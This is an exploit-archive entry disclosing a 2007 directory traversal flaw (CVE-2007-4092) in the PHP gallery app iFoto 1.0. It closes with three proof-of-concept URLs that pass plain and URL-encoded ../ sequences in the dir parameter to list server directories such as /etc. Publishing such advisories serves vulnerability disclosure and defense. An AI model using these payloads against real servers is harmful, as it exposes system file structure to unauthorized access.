iFoto 1.0 - 'index.php' Directory Traversal

Author: Lostmon
type: webapps
platform: php
port: 0
date_added: 2007-07-25
date_updated: 2013-12-17
verified: 1
codes: CVE-2007-4092;OSVDB-38615
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/25065/info

iFoto is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

A remote attacker can exploit this issue to view the directory structure of the affected computer within the context of the webserver.

This issue affects iFoto 1.0; other versions may also be affected.

http://www.example.com/ifoto/?dir=..%2F..%2F..%2F..%2F..%2F..%2Fetc
http://www.example.com/ifoto/?dir=../../../../../../etc
http://www.example.com/ifoto/index.php?dir=../../../../../../